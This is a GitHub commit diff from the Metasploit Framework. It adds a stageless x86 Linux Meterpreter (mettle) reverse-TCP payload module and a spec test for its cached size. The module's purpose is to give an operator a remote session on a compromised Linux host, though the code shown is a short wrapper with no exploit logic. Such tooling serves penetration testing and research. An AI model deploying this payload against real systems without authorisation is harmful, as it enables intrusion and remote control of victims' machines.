File tree Expand file tree Collapse file tree 2 files changed +52
-0
lines changed
modules/payloads/singles/linux/x86 Expand file tree Collapse file tree 2 files changed +52
-0
lines changed Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'msf/core/handler/reverse_tcp'
8
+ require 'msf/base/sessions/meterpreter_options'
9
+ require 'msf/base/sessions/mettle_config'
10
+ require 'msf/base/sessions/meterpreter_x86_mettle_linux'
11
+
12
+ module MetasploitModule
13
+
14
+ CachedSize = 292828
15
+
16
+ include Msf ::Payload ::Single
17
+ include Msf ::Sessions ::MeterpreterOptions
18
+ include Msf ::Sessions ::MettleConfig
19
+
20
+ def initialize ( info = { } )
21
+ super (
22
+ update_info (
23
+ info ,
24
+ 'Name' => 'Linux Meterpreter' ,
25
+ 'Description' => 'Run the mettle server payload (stageless)' ,
26
+ 'Author' => [
27
+ 'Adam Cammack <adam_cammack[at]rapid7.com>'
28
+ ] ,
29
+ 'Platform' => 'linux' ,
30
+ 'Arch' => ARCH_X86 ,
31
+ 'License' => MSF_LICENSE ,
32
+ 'Handler' => Msf ::Handler ::ReverseTcp ,
33
+ 'Session' => Msf ::Sessions ::Meterpreter_x86_Mettle_Linux
34
+ )
35
+ )
36
+ end
37
+
38
+ def generate
39
+ MetasploitPayloads ::Mettle . new ( 'i486-linux-musl' , generate_config ) . to_binary :exec
40
+ end
41
+ end
Original file line number Diff line number Diff line change 4513
4513
modules_pathname : modules_pathname ,
4514
4514
reference_name : 'linux/x86/mettle/reverse_tcp_uuid'
4515
4515
end
4516
+
4517
+ context 'linux/x86/mettle_reverse_tcp' do
4518
+ it_should_behave_like 'payload cached size is consistent' ,
4519
+ ancestor_reference_names : [
4520
+ 'singles/linux/x86/mettle_reverse_tcp'
4521
+ ] ,
4522
+ dynamic_size : false ,
4523
+ modules_pathname : modules_pathname ,
4524
+ reference_name : 'linux/x86/mettle_reverse_tcp'
4525
+ end
4526
+
4516
4527
end
You can’t perform that action at this time.
0 commit comments